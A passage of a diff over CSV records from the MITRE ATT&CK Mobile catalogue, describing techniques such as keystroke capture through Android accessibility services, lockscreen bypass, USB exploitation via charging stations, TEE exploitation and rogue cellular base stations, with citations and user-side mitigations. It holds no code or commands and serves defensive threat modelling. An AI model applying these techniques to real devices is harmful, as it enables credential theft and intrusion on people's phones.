'Android-PackageManager', 'description': 'Android. (n.d.). PackageManager. Retrieved December 21, 2016.', 'url': 'https://developer.android.com/reference/android/content/pm/PackageManager.html'}, {'source_name': 'Kurtz-MaliciousiOSApps', 'description': 'Andreas Kurtz. (2014, September 18). Malicious iOS Apps. Retrieved December 21, 2016.', 'url': 'https://andreas-kurtz.de/2014/09/malicious-ios-apps/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1021 +attack-pattern,attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:27.660Z,2020-06-24T15:09:12.483Z,Input Capture,"Adversaries may capture user input to obtain credentials or other information from the user through various methods. Malware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested. On Android, malware may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed. -Additional methods of keylogging may be possible if root access is available.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1417', external_id='T1417'), ExternalReference(source_name='Zeltser-Keyboard', description='Lenny Zeltser. (2016, July 30). Security of Third-Party Keyboard Apps on Mobile Devices. Retrieved December 21, 2016.', url='https://zeltser.com/third-party-keyboards-security/')]",attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2020-06-24 15:09:12.483000+00:00,Input Capture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On Android, users can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, users can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. On Android, users can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.",,,,,False,,MOB-T1020,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.1 -2017-10-25 14:48:27.307000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1438', external_id='T1438'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html', external_id='APP-30')]",attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='command-and-control'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='exfiltration')]",2018-10-17 00:14:20.652000+00:00,Alternate Network Mediums,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1041,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:26.890000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1423', external_id='T1423')]",attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='discovery')]",2018-10-17 00:14:20.652000+00:00,Network Service Scanning,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1026,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:26.104000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1439', external_id='T1439'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html', external_id='APP-0'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html', external_id='APP-1'), ExternalReference(source_name='mHealth', description='D. He et al.. (2014). Security Concerns in Android mHealth Apps. Retrieved December 24, 2016.', url='https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps')]",attack-pattern--393e8c12-a416-4575-ba90-19cc85656796,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='network-effects')]",2019-02-03 14:54:29.631000+00:00,Eavesdrop on Insecure Network Communication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1042,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.1 -2017-10-25 14:48:25.740000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1464', external_id='T1464'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html', external_id='CEL-7'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html', external_id='CEL-8'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html', external_id='LPN-5'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html', external_id='GPS-0'), ExternalReference(source_name='NIST-SP800187', description='Jeffrey Cichonski, Joshua M Franklin, Michael Bartock. (2017, December). Guide to LTE Security. Retrieved January 20, 2017.', url='http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf'), ExternalReference(source_name='CNET-Celljammer', description=""Chris Matyszczyk. (2014, May 1). FCC: Man used device to jam drivers' cell phone calls. Retrieved November 8, 2018."", url='https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/'), ExternalReference(source_name='NYTimes-Celljam', description='Matt Richtel. (2007, November 4). Devices Enforce Silence of Cellphones, Illegally. Retrieved November 8, 2018.', url='https://www.nytimes.com/2007/11/04/technology/04jammer.html'), ExternalReference(source_name='Digitaltrends-Celljam', description='Trevor Mogg. (2015, June 5). Florida teacher punished after signal-jamming his students’ cell phones. Retrieved November 8, 2018.', url='https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/'), ExternalReference(source_name='Arstechnica-Celljam', description='David Kravets. (2016, March 10). Man accused of jamming passengers’ cell phones on Chicago subway. Retrieved November 8, 2018.', url='https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/')]",attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='network-effects')]",2019-02-03 14:15:21.946000+00:00,Jamming or Denial of Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1067,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.1 -2017-10-25 14:48:25.322000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1463', external_id='T1463'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html', external_id='APP-1'), ExternalReference(source_name='FireEye-SSL', description='Adrian Mettler, Yulong Zhang, Vishwanath Raman. (2014, August 20). SSL VULNERABILITIES: WHO LISTENS WHEN ANDROID APPLICATIONS TALK?. Retrieved December 24, 2016.', url='https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html')]",attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='network-effects')]",2018-10-17 00:14:20.652000+00:00,Manipulate Device Communication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1066,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.0 -2017-10-25 14:48:24.488000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary with physical access to a mobile device may seek to bypass the device's lockscreen. +Additional methods of keylogging may be possible if root access is available.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1417', 'external_id': 'T1417'}, {'source_name': 'Zeltser-Keyboard', 'description': 'Lenny Zeltser. (2016, July 30). Security of Third-Party Keyboard Apps on Mobile Devices. Retrieved December 21, 2016.', 'url': 'https://zeltser.com/third-party-keyboards-security/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android, users can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, users can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. On Android, users can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.",False,,"['Android', 'iOS']",2.1,,,,,,['Post-Adversary Device Access'],MOB-T1020 +attack-pattern,attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:27.307Z,2018-10-17T00:14:20.652Z,Alternate Network Mediums,"Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1438', 'external_id': 'T1438'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html', 'external_id': 'APP-30'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1041 +attack-pattern,attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:26.890Z,2018-10-17T00:14:20.652Z,Network Service Scanning,"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1423', 'external_id': 'T1423'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1026 +attack-pattern,attack-pattern--393e8c12-a416-4575-ba90-19cc85656796,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:26.104Z,2019-02-03T14:54:29.631Z,Eavesdrop on Insecure Network Communication,"If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1439', 'external_id': 'T1439'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html', 'external_id': 'APP-0'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html', 'external_id': 'APP-1'}, {'source_name': 'mHealth', 'description': 'D. He et al.. (2014). Security Concerns in Android mHealth Apps. Retrieved December 24, 2016.', 'url': 'https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Without Adversary Device Access'],MOB-T1042 +attack-pattern,attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:25.740Z,2019-02-03T14:15:21.946Z,Jamming or Denial of Service,"An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1464', 'external_id': 'T1464'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html', 'external_id': 'CEL-7'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html', 'external_id': 'CEL-8'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html', 'external_id': 'LPN-5'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html', 'external_id': 'GPS-0'}, {'source_name': 'NIST-SP800187', 'description': 'Jeffrey Cichonski, Joshua M Franklin, Michael Bartock. (2017, December). Guide to LTE Security. Retrieved January 20, 2017.', 'url': 'http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf'}, {'source_name': 'CNET-Celljammer', 'description': ""Chris Matyszczyk. (2014, May 1). FCC: Man used device to jam drivers' cell phone calls. Retrieved November 8, 2018."", 'url': 'https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/'}, {'source_name': 'NYTimes-Celljam', 'description': 'Matt Richtel. (2007, November 4). Devices Enforce Silence of Cellphones, Illegally. Retrieved November 8, 2018.', 'url': 'https://www.nytimes.com/2007/11/04/technology/04jammer.html'}, {'source_name': 'Digitaltrends-Celljam', 'description': 'Trevor Mogg. (2015, June 5). Florida teacher punished after signal-jamming his students’ cell phones. Retrieved November 8, 2018.', 'url': 'https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/'}, {'source_name': 'Arstechnica-Celljam', 'description': 'David Kravets. (2016, March 10). Man accused of jamming passengers’ cell phones on Chicago subway. Retrieved November 8, 2018.', 'url': 'https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Without Adversary Device Access'],MOB-T1067 +attack-pattern,attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:25.322Z,2021-07-28T18:45:08.382Z,Manipulate Device Communication,"If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1463', 'external_id': 'T1463'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html', 'external_id': 'APP-1'}, {'source_name': 'FireEye-SSL', 'description': 'Adrian Mettler, Yulong Zhang, Vishwanath Raman. (2014, August 20). SSL VULNERABILITIES: WHO LISTENS WHEN ANDROID APPLICATIONS TALK?. Retrieved December 24, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,False,,"['Android', 'iOS']",1.1,,,,,,['Without Adversary Device Access'],MOB-T1066 +attack-pattern,attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:24.488Z,2019-02-03T17:08:07.111Z,Lockscreen Bypass,"An adversary with physical access to a mobile device may seek to bypass the device's lockscreen. ### Biometric Spoofing If biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID). @@ -4261,8 +3888,8 @@ iOS partly mitigates this attack by requiring the device passcode rather than a An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (""shoulder surfing"") the device owner's use of the lockscreen passcode. ### Exploit Other Device Lockscreen Vulnerabilities -Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1461', external_id='T1461'), ExternalReference(source_name='SRLabs-Fingerprint', description='SRLabs. (n.d.). Fingerprints are not fit for secure device unlocking. Retrieved December 23, 2016.', url='https://srlabs.de/bites/spoofing-fingerprints/'), ExternalReference(source_name='SecureIDNews-Spoof', description='Zack Martin. (2016, March 11). Another spoof of mobile biometrics. Retrieved September 18, 2018.', url='https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/'), ExternalReference(source_name='TheSun-FaceID', description='Sean Keach. (2018, February 15). Brit mates BREAK Apple’s face unlock and vow to never buy iPhone again. Retrieved September 18, 2018.', url='https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/'), ExternalReference(source_name='Apple-TouchID', description='Apple. (2015, November 3). About Touch ID security on iPhone and iPad. Retrieved December 23, 2016.', url='https://support.apple.com/en-us/HT204587'), ExternalReference(source_name='Wired-AndroidBypass', description='Andy Greenberg. (2015, September 15). Hack Brief: Emergency Number Hack Bypasses Android Lock Screens. Retrieved December 23, 2016.', url='https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/'), ExternalReference(source_name='Kaspersky-iOSBypass', description='Chris Brook. (2016, November 17). iOS 10 Passcode Bypass Can Access Photos, Contacts. Retrieved December 23, 2016.', url='https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/')]",attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='initial-access')]",2019-02-03 17:08:07.111000+00:00,Lockscreen Bypass,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1064,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:23.233000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking). +Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1461', 'external_id': 'T1461'}, {'source_name': 'SRLabs-Fingerprint', 'description': 'SRLabs. (n.d.). Fingerprints are not fit for secure device unlocking. Retrieved December 23, 2016.', 'url': 'https://srlabs.de/bites/spoofing-fingerprints/'}, {'source_name': 'SecureIDNews-Spoof', 'description': 'Zack Martin. (2016, March 11). Another spoof of mobile biometrics. Retrieved September 18, 2018.', 'url': 'https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/'}, {'source_name': 'TheSun-FaceID', 'description': 'Sean Keach. (2018, February 15). Brit mates BREAK Apple’s face unlock and vow to never buy iPhone again. Retrieved September 18, 2018.', 'url': 'https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/'}, {'source_name': 'Apple-TouchID', 'description': 'Apple. (2015, November 3). About Touch ID security on iPhone and iPad. Retrieved December 23, 2016.', 'url': 'https://support.apple.com/en-us/HT204587'}, {'source_name': 'Wired-AndroidBypass', 'description': 'Andy Greenberg. (2015, September 15). Hack Brief: Emergency Number Hack Bypasses Android Lock Screens. Retrieved December 23, 2016.', 'url': 'https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/'}, {'source_name': 'Kaspersky-iOSBypass', 'description': 'Chris Brook. (2016, November 17). iOS 10 Passcode Bypass Can Access Photos, Contacts. Retrieved December 23, 2016.', 'url': 'https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1064 +attack-pattern,attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:23.233Z,2019-02-03T15:10:41.460Z,Exploit via Charging Station or PC,"If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking). Previous demonstrations have included: @@ -4270,41 +3897,41 @@ Previous demonstrations have included: * Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB). * Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal). -Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1458', external_id='T1458'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html', external_id='PHY-1'), ExternalReference(source_name='Krebs-JuiceJacking', description='Brian Krebs. (2011, August 17). Beware of Juice-Jacking. Retrieved December 23, 2016.', url='http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/'), ExternalReference(source_name='Lau-Mactans', description='Lau et al.. (2013). Mactans: Injecting Malware Into iOS Devices Via Malicious Chargers. Retrieved December 23, 2016.', url='https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf'), ExternalReference(source_name='IBM-NexusUSB', description='Roee Hay. (2017, January 5). Android Vulnerabilities: Attacking Nexus 6 and 6P Custom Boot Modes. Retrieved January 11, 2017.', url='https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/'), ExternalReference(source_name='GoogleProjectZero-OATmeal', description='Jann Horn. (2018, September 10). OATmeal on the Universal Cereal Bus: Exploiting Android phones over USB. Retrieved September 18, 2018.', url='https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html'), ExternalReference(source_name='Computerworld-iPhoneCracking', description='Lucas Mearian. (2018, May 9). Two vendors now sell iPhone cracking technology – and police are buying. Retrieved September 21, 2018.', url='https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html')]",attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='initial-access')]",2019-02-03 15:10:41.460000+00:00,Exploit via Charging Station or PC,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1061,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:22.716000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1405', external_id='T1405'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', external_id='APP-27'), ExternalReference(source_name='Thomas-TrustZone', description='Josh Thomas and Charles Holmes. (2015, September). An infestation of dragons: Exploring vulnerabilities in the ARM TrustZone architecture. Retrieved December 9, 2016.', url='https://usmile.at/symposium/program/2015/thomas-holmes'), ExternalReference(source_name='QualcommKeyMaster', description=""laginimaineb. (2016, June). Extracting Qualcomm's KeyMaster Keys - Breaking Android Full Disk Encryption. Retrieved December 9, 2016."", url='https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html'), ExternalReference(source_name='EkbergTEE', description='Jan-Erik Ekberg. (2015, September 10). Android and trusted execution environments. Retrieved December 9, 2016.', url='https://usmile.at/symposium/program/2015/ekberg'), ExternalReference(source_name='laginimaineb-TEE', description='laginimaineb. (2016, May). War of the Worlds - Hijacking the Linux Kernel from QSEE. Retrieved December 21, 2016.', url='http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html')]",attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='privilege-escalation')]",2018-10-17 00:14:20.652000+00:00,Exploit TEE Vulnerability,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1008,,['Android'],,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:22.296000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).,"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1467', external_id='T1467'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html', external_id='CEL-7'), ExternalReference(source_name='Computerworld-Femtocell', description='Jaikumar Vijayan. (2013, August 1). Researchers exploit cellular tech flaws to intercept phone calls. Retrieved December 24, 2016.', url='http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html')]",attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='network-effects')]",2019-02-03 15:17:11.346000+00:00,Rogue Cellular Base Station,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1070,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.1 -2017-10-25 